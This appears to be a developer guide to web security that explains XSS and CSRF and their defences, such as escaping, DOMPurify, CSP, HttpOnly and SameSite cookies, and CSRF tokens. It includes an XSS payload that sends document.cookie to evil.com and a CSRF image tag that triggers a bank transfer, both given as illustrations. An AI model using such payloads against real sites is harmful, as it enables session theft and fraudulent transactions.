Why Web Security Matters
Modern web applications handle authentication cookies, tokens, personal data, payments, and business-critical logic. A single vulnerability can lead to account takeovers, data leaks, financial fraud, or irreversible trust damage.
As frontend and full-stack developers, it’s not enough to know what an attack is—we must understand why it works, because prevention depends on that mental model.
This guide breaks down the most common web attacks, with a strong focus on XSS and CSRF, in a way that’s practical, realistic, and production-oriented.
Cross-Site Scripting (XSS)
What Is XSS?
XSS (Cross-Site Scripting) occurs when an attacker injects malicious JavaScript into a web application, and that script executes in another user’s browser as if it were trusted application code.
This is what makes XSS so dangerous: the browser cannot distinguish between your JavaScript and the attacker’s JavaScript.
Example of a Vulnerable Pattern
<div dangerouslySetInnerHTML={{ __html: userComment }} />
If userComment contains:
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>
The script runs immediately when the page renders.
Why XSS Is Dangerous
With XSS, an attacker can:
- Steal session cookies or access tokens
- Read localStorage / sessionStorage
- Perform actions as the user
- Inject phishing forms or fake UI
- Log keystrokes and sensitive input
- Bypass most frontend “security” logic
If XSS exists, frontend security is effectively broken.
How to Prevent XSS (Defense-in-Depth)
- Never render raw HTML unless absolutely required
- Prefer React’s default escaping (
{value}) - Sanitize HTML using libraries like DOMPurify
- Use strict Content Security Policy (CSP) headers
- Store authentication tokens in HttpOnly cookies
- Avoid inline scripts and eval-like patterns
Cross-Site Request Forgery (CSRF)
What Is CSRF?
CSRF (Cross-Site Request Forgery) tricks a logged-in user’s browser into sending authenticated requests they did not intend to make.
This attack works because: Browsers automatically attach cookies to requests—regardless of where the request originates.
How a CSRF Attack Works
- User logs into a trusted site (e.g., a bank)
- Authentication cookie is stored in the browser
- User visits a malicious website
- The malicious site triggers a request to the bank
- Browser automatically sends cookies
- The server believes the request is legitimate
Example CSRF Payload
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
- No JavaScript required
- No user interaction required
- Cookies are sent automatically
Important Clarification: Cookies Alone Do NOT Prevent CSRF
A common misconception:
“If we store the CSRF token in a cookie, CSRF is prevented.”
This is false if the server only checks cookies.
Why?
- Cookies are automatically sent
- Attackers can trigger requests
- The browser cannot distinguish intent
So auth cookies + CSRF cookie alone ≠ protection.
How CSRF Is Actually Prevented
The Core Insight: Attackers can trigger requests—but they cannot read your cookies. CSRF protection exploits this limitation.
Double Submit Cookie Pattern (Common & Effective)
How it works:
- Server sets a CSRF token in a cookie
- Frontend reads the token and sends it in a custom header
- Server validates that
header token === cookie token
fetch('/api/update', {
method: 'POST',
headers: {
'X-CSRF-Token': csrfToken
},
credentials: 'include'
})
Why this works:
- Attacker cannot read cookies
- Attacker cannot set the correct header
- Request is rejected
SameSite Cookies (First Line of Defense)
Set-Cookie: session=abc; Secure; HttpOnly; SameSite=Lax
| SameSite | Effect |
|---|---|
| Strict | Cookies never sent cross-site |
| Lax | Sent only on top-level navigation |
| None | Sent everywhere (least safe) |
SameSite blocks most CSRF attacks by default, but tokens are still required for edge cases.
When CSRF Tokens Are NOT Needed
If authentication uses:
Authorization: Bearer <token>- No cookies involved
Then CSRF is not possible, because attackers cannot attach headers cross-site. However, XSS becomes the primary risk.
Why Client-Side Storage Is Not Secure
Storing sensitive data in:
localStoragesessionStorage- Encrypted frontend storage
is unsafe because:
- Any JavaScript can read it
- XSS can steal encrypted values
- Encryption keys live in frontend code
Encryption does not protect against XSS.
Secure Alternatives
- Auth tokens → HttpOnly, Secure cookies
- CSRF tokens → server session or double-submit pattern
- Use CSP, SameSite, and strict input handling
- Assume frontend code can be compromised
Other Common Web Attacks
SQL Injection (SQLi)
- Injecting SQL via user input
- Prevented by parameterized queries and ORMs
IDOR (Insecure Direct Object Reference)
- Accessing other users’ data via predictable IDs
- Prevented by ownership and authorization checks
Broken Access Control
- Unauthorized access to restricted features
- Prevented by backend RBAC and permission checks
Clickjacking
- Tricking users into clicking hidden UI
- Prevented by X-Frame-Options or CSP frame rules
CORS Misconfiguration
- Allowing unintended origins to access APIs
- Prevented by strict allow-lists and credential rules
Key Takeaways
- XSS executes attacker-controlled JavaScript
- CSRF abuses automatic cookie behavior
- Cookies alone do not prevent CSRF
- CSRF protection relies on what attackers cannot read
- XSS breaks almost all frontend security assumptions
- Security must be enforced end-to-end
Security is not a feature — it is a system-wide responsibility.